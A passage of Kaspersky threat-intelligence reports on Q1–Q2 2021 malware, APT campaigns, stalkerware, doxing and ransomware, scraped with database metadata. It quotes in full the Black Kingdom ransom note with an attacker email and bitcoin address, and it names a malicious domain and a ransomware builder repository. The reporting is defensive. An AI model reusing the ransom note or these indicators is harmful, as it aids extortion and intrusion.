hard disks and encrypt the data stored on them. The ESXi hypervisor lets multiple virtual machines store information on a single server using the SLP (Service Layer Protocol).\n\nThe first vulnerability ([CVE-2019-5544](<https://www.vmware.com/security/advisories/VMSA-2019-0022.html>)) can be used to carry out [heap overflow attacks](<https://encyclopedia.kaspersky.com/glossary/heap-overflow-attack/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>). The second ([CVE-2020-3992](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>)) is a [Use-After-Free (UAF) vulnerability](<https://encyclopedia.kaspersky.com/glossary/use-after-free/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) related to the incorrect use of dynamic memory during program operation. Once attackers have been able to gain an initial foothold in the target network, they can use the vulnerabilities to generate malicious SLP requests and compromise data storage.\n\nThe vulnerabilities are being exploited by [RansomExx](<https://www.kaspersky.com/blog/ransomware-in-virtual-environment/39150/>). The [Darkside](<https://www.infosecurity-magazine.com/news/darkside-20-ransomware-fastest/>) group is reportedly using the same approach; and the attackers behind the [BabuLocker Trojan](<https://twitter.com/campuscodi/status/1354237766285012992>) have also hinted that they are able to encrypt ESXi.\n\n### macOS developments\n\nTowards the end of last year, Apple unveiled machines powered by its own M1 chip, designed to replace Intel's processors in its computers. The Apple M1, a direct relative of the processors used in the iPhone and iPad, will ultimately allow Apple to unify its software under a single architecture.\n\nJust a few months after the release of the first Apple M1 computers, malware writers had already recompiled their code to adapt it to the new architecture.\n\nThese include the developers of XCSSET, malware [first discovered last year](<https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html>), which targets Mac developers by injecting a malicious payload into Xcode IDE projects on the victim's Mac. This payload is subsequently executed during the building of project files in Xcode. XCSSET modules are able to read and dump Safari cookies, inject malicious JavaScript code into various websites, steal files and information from applications such as Notes, WeChat, Skype, Telegram and others, and encrypt files. The samples we have observed include some compiled specifically for the Apple Silicon chips.\n\nSilver Sparrow is [another new threat](<https://redcanary.com/blog/clipping-silver-sparrows-wings/>) that targets the M1 chip. This malware introduces a new way for malware writers to abuse the default packaging functionality: instead of placing a malicious payload inside pre-install or post-install scripts, they hid one in the Distribution XML file. This payload uses JavaScript API to run bash commands in order to download a JSON configuration file. The sample extracts a URL from the "downloadURL" field for the next download. An appropriate Launch Agent is also created for persistent execution of the malicious sample. The JavaScript payload can be executed regardless of chip architecture, but analysis of the package file makes it clear that it supports both Intel and M1 chips.\n\nMost malicious objects detected for the macOS platform are adware. The developers of these programs are also updating their code to include support for the M1 chip, including the Pirrit and Bnodlero families.\n\nYou can find technical details, along with our FAQ on M1 threats, [here](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>).\n\nCybercriminals don't just add support for new platforms: sometimes they use new programming languages to develop their 'products'. Recently, macOS adware developers have been paying more attention to new languages, apparently in the hope that such code will be more opaque to virus analysts who have little or no experience with the newer languages. We have already seen quite a few samples written in Go, and recently cybercriminals have turned their attention to Rust as well. You can read our analysis of a new adware program called Convuster [here](<https://securelist.com/convuster-macos-adware-in-rust/101258/>).\n\n### Secondhand news\n\nThere's a strong market in secondhand computing devices. Some of our researchers recently looked at [the security implications of buying and selling secondhand devices](<https://www.kaspersky.com/blog/data-on-used-devices/38610/>): their aim was to see what traces are left behind on laptops and other storage data when people sell them.\n\nThe overwhelming majority of the devices we investigated contained at least some traces of data \u2013 mostly personal but some corporate. Researchers were able to access data on more than 16% of the devices outright. A further 74% contained data that could be recovered using [file-carving](<https://en.wikipedia.org/wiki/File_carving>) methods. Only 11% of devices had been wiped properly.\n\nThe data recovered ranged from the harmless to revealing and even dangerous: calendar entries, meeting notes, access data for corporate resources, internal business documents, personal photos, medical information, tax documents and more. Some of the data could be used directly \u2013 for example, contact information, tax documents and medical records (or access to them through saved passwords). Other data could lead to indirect damage if exploited by cybercriminals.\n\nAside from the data that could be exposed, there's also a risk that malware left on a device could infect the new owner. We found malware on 17% of the devices we looked at.\n\nSellers need to consider what traces they might leave behind when they sell a device; and buyers need to think about the security of any secondhand device they buy.\n\nThe UK National Cyber Security Centre (NCSC) provides good [practical advice for buyers and sellers](<https://www.ncsc.gov.uk/guidance/buying-selling-second-hand-devices>).\n\n### Stalkerware during the pandemic\n\n[Stalkerware](<https://csr.kaspersky.com/en/antistalking/eng.html>) is commercially available software used to spy on another person via their device, without that person's knowledge or consent. Stalkerware is the digital tip of a very real-world iceberg. In a 2017 report, the European Institute for Gender Equality indicates that seven out of 10 women affected by online stalking have experienced physical violence at the hands of the perpetrator. The [Coalition Against Stalkerware](<https://stopstalkerware.org/>) defines stalkerware as software which "may facilitate intimate partner surveillance, harassment, abuse, stalking, and/or violence".\n\nThe number of people affected by stalkerware has been growing in recent years. We saw a fall in numbers in 2020, the drop-off coinciding with the worldwide lockdowns that came in the wake of the COVID-19 pandemic. This is hardly surprising: since stalking is typically carried out by someone the target lives with, if both abuser and target are housebound, there is less need to use technology to track someone's activities. Notwithstanding the _relative_ decline, 53,870 is a big number. Moreover, these are numbers of Kaspersky customers: no doubt the real figure is considerably higher.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/26124943/01-en-stalkerware-report.png>)The most commonly detected stalkerware sample in 2020 was Monitor.AndroidOS.Nidb.a. This app is re-sold under other names, so it is prominent in the market \u2013 iSpyoo, TheTruthSpy and Copy9 apps are all part of this family. Another popular application is Cerberus, which is sold as anti-theft smartphone protection and hides itself to avoid notice. Like genuine phone-finding apps, Cerberus has access to geo-location, can take photos and screenshots and record sound. Other high-ranking stalking apps include Track My Phone (which we detect as Agent.af), MobileTracker and Anlost.\n\n**Top 10 most detected stalkerware samples globally**\n\n| Samples | Affected users \n---|---|--- \n1 | Monitor.AndroidOS.Nidb.a | 8147 \n2 | Monitor.AndroidOS.Cerberus.a | 5429 \n3 | Monitor.AndroidOS.Agent.af | 2727 \n4 | Monitor.AndroidOS.Anlost.a | 2234 \n5 | Monitor.AndroidOS.MobileTracker.c | 2161 \n6 | Monitor.AndroidOS.PhoneSpy.b | 1774 \n7 | Monitor.AndroidOS.Agent.hb | 1463 \n8 | Monitor.AndroidOS.Cerberus.b | 1310 \n9 | Monitor.AndroidOS.Reptilic.a | 1302 \n10 | Monitor.AndroidOS.SecretCam.a | 1124 \n \nThe greatest number of stalkerware detections occurred in Russia, Brazil and the US.\n\n**Top 10 most affected countries by stalkerware \u2013 globally**\n\n| Country | Affected users \n---|---|--- \n1 | Russian Federation | 12389 \n2 | Brazil | 6523 \n3 | United States of America | 4745 \n4 | India | 4627 \n5 | Mexico | 1570 \n6 | Germany | 1547 \n7 | Iran | 1345 \n8 | Italy | 1144 \n9 | United Kingdom | 1009 \n10 | Saudi Arabia | 968 \n \nYou can read our full report on the subject [here](<https://securelist.com/the-state-of-stalkerware-in-2020/100875/>).\n\nStalkerware operates stealthily, so it's difficult for anyone targeted with such programs to see that it's installed on their device \u2013 they hide the app's icon and remove other traces of their presence.\n\nKaspersky is actively working to end the use of stalkerware, not just by detecting it but by working with partners. In 2019, Kaspersky and nine other founding members created the [Coalition Against Stalkerware](<https://stopstalkerware.org/>). Last year, we created [TinyCheck](<https://github.com/KasperskyLab/TinyCheck>), a free tool to detect stalkerware on mobile devices \u2013 specifically for service organizations working with people facing domestic violence. We are one of five partners in an EU-wide project aimed at tackling gender-based cyber-violence and stalkerware called DeStalk, which the European Commission chose to support with its Rights, Equality and Citizenship Program.\n\n### Doxing in the corporate sector\n\nWhen most people think of [doxing](<https://encyclopedia.kaspersky.com/glossary/doxxing/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), they tend to think it applies only to celebrities and other high-profile people. However, confidential corporate information is no less sensitive; and the financial and reputational impact resulting from the disclosure of such data means that any organization could become a victim of doxing. This is clear, for example, from the fact that several ransomware gangs now threaten to leak stolen corporate data to increase the likelihood that their victims will pay up.\n\nCybercriminals use a variety of methods to gather confidential corporate information.\n\nOne of the easiest approaches is to use open-source intelligence (OSINT) \u2013 that is, gathering data from publicly accessible sources. The internet provides a lot of helpful information to would-be attackers, including the names and positions of employees, including those who occupy key positions in the company: for example, the CEO, HR director and chief financial officer.\n\nInformation harvested from the online personal profiles of employees can be used to set up [BEC](<https://encyclopedia.kaspersky.com/glossary/bec/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (Business Email Compromise) attacks, in which an attacker initiates email correspondence with a member of staff by posing as a different employee (including their superior) or as a representative of a partner company. The attacker does this to gain the trust of the target before persuading them to perform certain actions, such as sending confidential data or transferring funds to an account controlled by the attacker.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26124957/Corporate_doxing_01.png>)\n\nBEC attacks can also be used to collect further information about the company, or to gain access to valuable corporate data, or access to company resources \u2013 for example, credentials allowing access to cloud-based systems. \nThere are various technical tricks that cybercriminals use to obtain information relevant to their particular goals, including sending [email messages containing a tracking pixel](<https://www.kaspersky.com/blog/tracking-pixel-bec/36976/>) \u2013 often disguised as a "test" message.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26125040/Corporate_doxing_02.png>)\n\nThis enables attackers to obtain data such as the time the email was opened, the version of the recipient's mail client and the IP address. This data lets the attackers build a profile on a specific person who they can then impersonate in subsequent attacks.\n\nPhishing continues to be an effective way for attackers to gather corporate data. For example, they may send an employee a message that mimics a notification from a business platform such as SharePoint, which contains a link.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26125148/Corporate_doxing_04.jpg>)\n\nIf the employee clicks the link, they are redirected to a spoofed website containing a fraudulent form for entering their corporate account credentials \u2013 data which is captured by the attackers.\n\nSometimes cybercriminals resort to phone phishing \u2013 either by calling an employee directly and trying to "phish" corporate information, or sending a message and asking them to call the number given in the message. One way to trick employees is to pose as IT support staff \u2013 this method was used in the [Twitter hack](<https://www.dfs.ny.gov/Twitter_Report>) in July 2020.\n\n> By obtaining employee credentials, they were able to target specific employees who had access to our account support tools. They then targeted 130 Twitter accounts - Tweeting from 45, accessing the DM inbox of 36, and downloading the Twitter Data of 7.\n> \n> -- Twitter Support (@TwitterSupport) [July 31, 2020](<https://twitter.com/TwitterSupport/status/1289000208701878272?ref_src=twsrc%5Etfw>)\n\nAttackers may not confine themselves to gathering publicly available data, but may also hack an employee's account. This could be used to gain a foothold in the company, from which they can extend their activities, or to circulate false information that could damage the company's reputation and result in financial loss. There has even been a case where cybercriminals have obtained audio and video content of the CEO of an international company and [used deepfake technology to imitate the CEO's voice](<https://www.kaspersky.com/blog/machine-learning-fake-voice/28870/>), using it to persuade the management team of one of the company's branches to transfer money to the scammers.\n\nYou can read our full report on doxing, including tips on how to protect yourself, [here](<https://securelist.com/corporate-doxing/101513/>).", "cvss3": {}, "published": "2021-05-31T10:00:37", "type": "securelist", "title": "IT threat evolution Q1 2021", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-5544", "CVE-2020-3992", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-31T10:00:37", "id": "SECURELIST:A823F31C04C74DD103337324E6D218C9", "href": "https://securelist.com/it-threat-evolution-q1-2021/102382/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T10:37:29", "description": "\n\n## Targeted attacks\n\n### The leap of a Cycldek-related threat actor\n\nIt is quite common for Chinese-speaking threat actors to share tools and methodologies: one such example is the infamous "DLL side-loading triad": a legitimate executable, a malicious DLL to be [side-loaded](<https://attack.mitre.org/techniques/T1574/002/>) by it and an encoded payload, generally dropped from a self-extracting archive. This was first thought to be a signature of [LuckyMouse](<https://securelist.com/luckymouse-hits-national-data-center/86083/>), but we have observed other groups using similar "triads", including HoneyMyte. While it is not possible to attribute attacks based on this technique alone, efficient detection of such triads reveals more and more malicious activity.\n\nWe recently described one such file, called "FoundCore", which caught our attention because of the various improvements it brought to this well-known infection vector. We discovered the malware as part of an attack against a high-profile organization in Vietnam. From a high-level perspective, the infection chain follows the expected execution flow:\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/06085101/Cycldek_01.jpg>)\n\nHowever, in this case, the shellcode was heavily obfuscated \u2013 the technical details were presented in the '[The leap of a Cycldek-related threat actor](<https://securelist.com/the-leap-of-a-cycldek-related-threat-actor/101243/>)' report. We found the loader for this file so interesting that we decided to base one of the tracks of our [Targeted Malware Reverse Engineering](<https://xtraining.kaspersky.com/courses/targeted-malware-reverse-engineering>) course on it.\n\nThe final payload is a remote administration tool that provides full control over the victim machine to its operators. Communication with the server can take place either over raw TCP sockets encrypted with RC4, or via HTTPS.\n\nIn the vast majority of the incidents we discovered, FoundCore executions were preceded by the opening of malicious RTF documents downloaded from static.phongay[.]com \u2013 all generated using [RoyalRoad](<https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper>) and attempting to exploit CVE-2018-0802. All of these documents were blank, suggesting the existence of precursor documents \u2013 possibly delivered by means of spear-phishing or a previous infection \u2013 that trigger the download of the RTF files. Successful exploitation leads to the deployment of further malware \u2013 named DropPhone and CoreLoader.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/06091732/Cycldek_06.jpg>)\n\nOur telemetry indicates that dozens of organizations were affected, belonging to the government or military sector, or otherwise related to the health, diplomacy, education or political verticals. Eighty percent of the targets were in Vietnam, though we also identified occasional targets in Central Asia and Thailand.\n\nWhile Cycldek has so far been considered one of the least sophisticated Chinese-speaking threat actors, its targeting is consistent with what we observed in this campaign \u2013 which is why we attribute the campaign, with low confidence, to this threat actor.\n\n### Zero-day vulnerability in Desktop Window Manager used in the wild\n\nWhile analyzing the [CVE-2021-1732](<https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/>) exploit, first discovered by DBAPPSecurity Threat Intelligence Center and used by the BITTER APT group, we found another zero-day exploit that we believe is linked to the same threat actor. We reported this new exploit to Microsoft in February and, after confirmation that it is indeed a zero-day, [Microsoft released a patch](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310>) for the new zero-day (CVE-2021-28310) as part of its April security updates.\n\nCVE-2021-28310 is an out-of-bounds (OOB) write vulnerability in dwmcore.dll, which is part of Desktop Window Manager (dwm.exe). Due to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using the DirectComposition API. [DirectComposition](<https://docs.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal>) is a Windows component that was introduced in Windows 8 to enable bitmap composition with transforms, effects and animations, with support for bitmaps of different sources (GDI, DirectX, etc.).\n\nThe exploit was initially identified by our advanced exploit prevention technology and related detection records. Over the past few years, we have built a multitude of exploit protection technologies into our products that have detected several zero-days, proving their effectiveness time and again.\n\nWe believe this exploit is used in the wild, potentially by several threat actors, and it is probably used together with other browser exploits to escape sandboxes or obtain system privileges for further access.\n\nYou can find technical details on the exploit in the '[Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>)' post. Further information about BITTER APT and IOCs are available to customers of the Kaspersky Intelligence Reporting service: contact [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>).\n\n### Operation TunnelSnake\n\nWindows rootkits, especially those operating in kernel space, enjoy high privileges in the system, allowing them to intercept and potentially tamper with core I/O operations conducted by the underlying OS, like reading or writing to files or processing incoming and outgoing network packets. Their ability to blend into the fabric of the operating system itself is how rootkits have gained their notoriety for stealth and evasion.\n\nNevertheless, over the years, it has become more difficult to deploy and execute a rootkit component in Windows. The introduction by Microsoft of Driver Signature Enforcement and Kernel Patch Protection (PatchGuard) has made it harder to tamper with the system. As a result, the number of Windows rootkits in the wild has decreased dramatically: most of those that are still active are often used in high-profile APT attacks.\n\nOne such example came to our attention during an investigation last year, in which we uncovered a previously unknown and stealthy implant in the networks of regional inter-governmental organizations in Asia and Africa. This rootkit, which we dubbed "Moriya", was used to deploy passive backdoors on public facing servers, facilitating the creation of a covert C2 (Command and Control) communication channel through which they can be silently controlled.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/08151011/Operation_TunnelSnake_01.png>)\n\nThis tool was used as part of an ongoing campaign that we named "[TunnelSnake](<https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/>)". The rootkit was detected on the targeted machines as early as November 2019; and another tool we found, showing significant code overlaps with the rootkit, suggests that the developers had been active since at least 2018.\n\nSince neither the rootkit nor other lateral movement tools that accompanied it during the campaign relied on hardcoded C2 servers, we could gain only partial visibility into the attacker's infrastructure. However, the bulk of the detected tools besides Moriya, consist of both proprietary and well-known pieces of malware that were previously in use by Chinese-speaking threat actors, giving a clue to the attacker's origin.\n\n### PuzzleMaker\n\nOn April 14-15, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits.\n\nWhile we were not able to retrieve the exploit used for Remote Code Execution (RCE) in the Chrome web-browser, we were able to find and analyze an Escalation of Privilege (EoP) exploit used to escape the sandbox and obtain system privileges. This EoP exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 - RS5, 18362 - 19H1, 18363 - 19H2, 19041 - 20H1, 19042 - 20H2), and exploits two distinct vulnerabilities in the Microsoft Windows OS kernel.\n\nOn April 20, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the Information Disclosure vulnerability and CVE-2021-31956 to the EoP vulnerability. Both vulnerabilities were patched on June 8, as a part of the June Patch Tuesday.\n\nThe exploit-chain attempts to install malware in the system through a dropper. The malware starts as a system service and loads the payload, a "remote shell"-style backdoor, which in turns connects to the C2 to get commands.\n\nWe weren't able to find any connections or overlaps with a known threat actor, so we tentatively named this cluster of activity [PuzzleMaker](<https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/>).\n\n### Andariel adds ransomware to its toolset\n\nIn April, we discovered a suspicious Word document containing a Korean file name and decoy uploaded to VirusTotal. The document contained an unfamiliar macro and used novel techniques to implant the next payload. Our telemetry revealed two infection methods used in these attacks, with each payload having its own loader for execution in memory. The threat actor only delivered the final stage payload for selected victims.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/15094853/Andariel_delivered_ransomware_01.png>)\n\nDuring the course of our research, Malwarebytes published a [report](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/>) with technical details about the same series of attacks, which attributed it to the Lazarus group. However, after thorough analysis, we reached the conclusion that the attacks were the work of Andariel, a sub-group of Lazarus, based on code overlaps between the second stage payload in this campaign and previous malware from this threat actor.\n\nHistorically, Andariel has mainly targeted organizations in South Korea; and our telemetry suggests that this is also the case in this campaign. We confirmed several victims in the manufacturing, home network service, media and construction sectors.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/15095550/Andariel_delivered_ransomware_08.png>)\n\nWe also found additional connections with the Andariel group. Each threat actor has a characteristic habit when they interactively work with a backdoor shell in the post-exploitation phase of an attack. The way Windows commands and their options were used in this campaign is almost identical to previous Andariel activity.\n\nNotably, in addition to the final backdoor, we discovered one victim infected with custom ransomware, underlying the financial motivation of this threat actor.\n\n### Ferocious Kitten\n\n[Ferocious Kitten](<https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/>) is an APT threat actor that has targeted Persian-speaking individuals who appear to be based in Iran. The group has mostly operated under the radar and, as far as we know, has not been covered by security researchers. The threat actor attracted attention recently when a lure document was uploaded to VirusTotal and went public thanks to [researchers on Twitter](<https://twitter.com/reddrip7/status/1366703445990723585?s=21>). Since then, one of its implants [has been analyzed](<http://www.hackdig.com/03/hack-293629.htm>) by a Chinese threat intelligence firm.\n\nWe were able to expand on some of the findings about the group and provide insights into the additional variants that it uses. The malware dropped from the lure document, dubbed "MarkiRAT", records keystrokes, clipboard content, and provides file download and upload capabilities as well as the ability to execute arbitrary commands on the victim's computer. We were able to trace the implant back to at least 2015, along with variants intended to hijack the execution of Telegram and Chrome applications as a persistence method.\n\nFerocious Kitten is one of the groups that operate in a wider eco-system intended to track individuals in Iran. Such threat groups aren't reported very often; and so are able to re-use infrastructure and toolsets without worrying about them being taken down or flagged by security solutions. Some of the TTPs used by this threat actor are reminiscent of other groups that are active against a similar set of targets, such as Domestic Kitten and Rampant Kitten.\n\n## Other malware\n\n### Evolution of JSWorm ransomware\n\nWhile ransomware has been around for a long time, it has evolved over time as attackers have improved their technologies and refined their tactics. We have seen a shift away from the random, speculative attacks of five years ago, and even from the massive outbreaks such as [WannaCry](<https://securelist.com/wannacry-faq-what-you-need-to-know-today/78411/>) and [NotPetya](<https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/>). Many ransomware gangs have switched to the more profitable tactic of "big-game hunting"; and news of ransomware attacks affecting large corporations, and even critical infrastructure installations, has become commonplace. Moreover, there's now a [well-developed eco-system underpinning ransomware attacks](<https://securelist.com/ransomware-world-in-2021/102169/>).\n\nAs a result, even though [the number of ransomware attacks has fallen](<https://securelist.com/ransomware-by-the-numbers-reassessing-the-threats-global-impact/101965/>), and individuals are probably less likely to encounter ransomware than a few years ago, the threat to organizations is greater than ever.\n\nWe recently published analysis of one such ransomware family, named [JSWorm](<https://securelist.com/evolution-of-jsworm-ransomware/102428/>). This malware was discovered in 2019, and since then different variants have gained notoriety under various names such as Nemty, Nefilim, Offwhite and others.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24115814/JSworm_malware_01.png>)\n\nEach "re-branded" version has included alterations to different aspects of the code \u2013 file extensions, cryptographic schemes, encryption keys, programming language and distribution model. Since it emerged, JSWorm has developed from a typical mass-scale ransomware threat affecting mostly individual users into a typical big-game hunting ransomware threat attacking high-profile targets and demanding massive ransom payments.\n\n### Black Kingdom ransomware\n\n[Black Kingdom](<https://securelist.com/black-kingdom-ransomware/102873/>) first appeared in 2019; in 2020 the group was observed exploiting vulnerabilities (such as CVE-2019-11510) in its attacks. In recent activity, the ransomware was used by an unknown adversary for exploiting a Microsoft Exchange vulnerability (CVE-2021-27065, aka [ProxyLogon](<https://proxylogon.com/>)). This ransomware family is much less sophisticated than other [Ransomware-as-a-Service](<https://encyclopedia.kaspersky.com/glossary/ransomware-as-a-service-raas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (RaaS) or big game hunting families. The group's involvement in the Microsoft Exchange exploitation campaign suggests opportunism rather than a resurgence in activity from this ransomware family.\n\nThe malware is coded in Python and compiled to an executable using PyInstaller. The ransomware supports two encryption modes: one generated dynamically and one using a hardcoded key. Code analysis revealed an amateurish development cycle and the possibility of recovering files that have been encrypted with Black Kingdom with the help of the hardcoded key. At the time of analysis, there was already a [script to recover files encrypted with the embedded key](<https://blog.cyberint.com/black-kingdom-ransomware>).\n\nBlack Kingdom changes the desktop background to a note that the system is infected while it encrypts files, disabling the mouse and keyboard as it does so.\n \n \n ***************************\n | We Are Back ?\n ***************************\n \n We hacked your (( Network )), and now all files, documents, images,\n databases and other important data are safely encrypted using the strongest algorithms ever.\n You cannot access any of your files or services .\n But do not worry. You can restore everthing and get back business very soon ( depends on your actions )\n \n before I tell how you can restore your data, you have to know certain things :\n \n We have downloaded most of your data ( especially important data ) , and if you don't contact us within 2 days, your data will be released to the public.\n \n To see what happens to those who didn't contact us, just google : ( Blackkingdom Ransomware )\n \n ***************************\n | What guarantees ?\n ***************************\n \n We understand your stress and anxiety. So you have a free opportunity to test our service by instantly decrypting one or two files for free\n just send the files you want to decrypt to (support_blackkingdom2@protonmail.com\n \n ***************************************************\n | How to contact us and recover all of your files ?\n ***************************************************\n \n The only way to recover your files and protect from data leaks, is to purchase a unique private key for you that we only posses .\n \n \n [ + ] Instructions:\n \n 1- Send the decrypt_file.txt file to the following email ===> support_blackkingdom2@protonmail.com\n \n 2- send the following amount of US dollars ( 10,000 ) worth of bitcoin to this address :\n \n [ 1Lf8ZzcEhhRiXpk6YNQFpCJcUisiXb34FT ]\n \n 3- confirm your payment by sending the transfer url to our email address\n \n 4- After you submit the payment, the data will be removed from our servers, and the decoder will be given to you,\n so that you can recover all your files.\n \n ## Note ##\n \n Dear system administrators, do not think you can handle it on your own. Notify your supervisors as soon as possible.\n By hiding the truth and not communicating with us, what happened will be published on social media and yet in news websites.\n \n Your ID ==>\n FDHJ91CUSzXTquLpqAnP\n\nAfter decompiling the Python code, we discovered that the code base for Black Kingdom has its origins in an open-source ransomware builder [available on GitHub](<https://github.com/BuchiDen/Ransomware_RAASNet/blob/master/RAASNet.py>). The group adapted parts of the code, adding features that were not originally presented in the builder, such as the hardcoded key. We were not able to attribute Black Kingdom to any known threat group.\n\nBased on our telemetry, we could see only a few hits by Black Kingdom in Italy and Japan.\n\n### Gootkit: the cautious banking Trojan\n\n[Gootkit](<https://securelist.com/gootkit-the-cautious-trojan/102731/>) belongs to a class of Trojans that are extremely tenacious, but not widespread. Since it's not very common, new versions of the Trojan may remain under the researchers' radar for long periods.\n\nIt is complex multi-stage banking malware, which was initially discovered by Doctor Web in 2014. Initially, it was distributed via spam and exploits kits such as Spelevo and RIG. In conjunction with spam campaigns, the adversaries later switched to compromised websites where visitors are tricked into downloading the malware.\n\nGootkit is capable of stealing data from the browser, performing man-in-the-browser attacks, keylogging, taking screenshots, and lots of other malicious actions. The Trojan's loader performs various virtual machine and sandbox checks and uses sophisticated persistence algorithms.\n\nIn 2019, Gootkit stopped operating after it experienced a [data leak](<https://www.zdnet.com/article/gootkit-malware-crew-left-their-database-exposed-online-without-a-password/>), but has been [active again](<https://www.bleepingcomputer.com/news/security/gootkit-malware-returns-to-life-alongside-revil-ransomware/>) since November 2020. Most of the victims are located in EU countries such as Germany and Italy.\n\n### Bizarro banking Trojan expands into Europe\n\nBizarro is one more banking Trojan family originating from Brazil that is now found in other parts of the world. We have seen people being targeted in Spain, Portugal, France and Italy. This malware has been used to steal credentials from customers of 70 banks from different European and South American countries.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/14143631/Bizarro_trojan_13.png>)\n\nAs with [Tetrade](<https://securelist.com/the-tetrade-brazilian-banking-malware/97779/>), Bizarro uses affiliates or recruits money mules to cash out or simply to help with money transfers.\n\nBizarro is distributed via MSI packages downloaded by victims from links in spam emails. Once launched, it downloads a ZIP archive from a compromised website. We observed hacked WordPress, Amazon and Azure servers used by the Trojan for storing archives. The backdoor, which is the core component of Bizarro, contains more than 100 commands and allows the attackers to steal online banking account credentials. Most of the commands are used to display fake pop-up messages and seek to trick people into entering two-factor authentication codes. The Trojan may also use social engineering to convince victims to download a smartphone app.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/14143359/Bizarro_trojan_12.png>)\n\nBizarro is one of several banking Trojans from South America that have extended their operations into other regions \u2013 mainly Europe. They include Guildma, Javali, Melcoz, Grandoreiro and Amavaldo.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/17095011/Map_of_Brazilian_families.jpeg>)\n\n### Malicious code in APKPure app\n\nIn early April, we [discovered malicious code in version 3.17.18 of the official client of the APKPure app store](<https://securelist.com/apkpure-android-app-store-infected/101845/>), a popular alternative source of Android apps. [The incident seems to be similar to what happened with CamScanner](<https://www.kaspersky.com/blog/camscanner-malicious-android-app/28156/>), when the app's developer implemented an adware SDK from an unverified source.\n\nWhen launched, the embedded Trojan dropper, which our solutions detect as HEUR:Trojan-Dropper.AndroidOS.Triada.ap, unpacks and runs its payload, which is able to show ads on the lock screen, open browser tabs, collect information about the device, and download other malicious code. The Trojan downloaded depends on the version of Android and how recently security updates have been installed. In the case of relatively recent versions of the operating system (Android 8 or higher) it loads additional modules for the [Triada Trojan](<https://www.kaspersky.com/blog/triada-trojan/11481/>). If the device is older (Android 6 or 7, and without security updates installed) it could be the [xHelper Trojan](<https://securelist.com/unkillable-xhelper-and-a-trojan-matryoshka/96487/>).\n\nWe reported the issue to APKPure on April 8. APKPure acknowledged the problem the following day and, soon afterwards, posted a new version (3.17.19) that does not contain the malicious component.\n\n### Browser lockers\n\nBrowser lockers are designed to prevent the victim from using their browser unless they pay a ransom. The "locking" consists of preventing the victim from leaving the current tab, which displays intimidating messages, often with sound and visual effects. The locker tries to trick the victim into making a payment with threats of losing data or legal liability.\n\nThis type of fraud has long been on the radar of researchers, and over the last decade there have been numerous browser locking campaigns targeting people worldwide. The tricks used by the scammers include imitating the infamous "[Blue Screen of Death](<https://encyclopedia.kaspersky.com/glossary/blue-screen-of-death-bsod/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)" (BSOD) in the browser, false warnings about system errors or detected malware, threats to encrypt files and legal liability notices.\n\nIn our [report on browser lockers](<https://securelist.com/browser-lockers-extortion-disguised-as-a-fine/101735/>), we examined two families of lockers that mimic government websites.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/01145253/MVD_fake_sites_07-scaled.jpeg>)\n\nBoth families spread mainly via advertising networks, primarily aimed at selling "adult" content and movies in an intrusive manner; for example, through tabs or windows that open on top of the visited site when loading a page with an embedded ad module (pop-ups), or after clicking anywhere on the page (click-unders).\n\nThese threats are not technically complex: they simply aim to create the illusion of having locked the computer and intimidate victims into paying money. Landing on such a page by mistake will not harm your device or compromise your data, as long as you don't fall for the cybercriminals' smoke-and-mirror tactics.\n\n### Malware targets Apple M1 chip\n\nLast November, Apple unveiled its M1 chip. The new chip, which has replaced Intel processors in several of its products, is based on ARM architecture instead of the x86 architecture traditionally used in personal computers. This lays the foundation 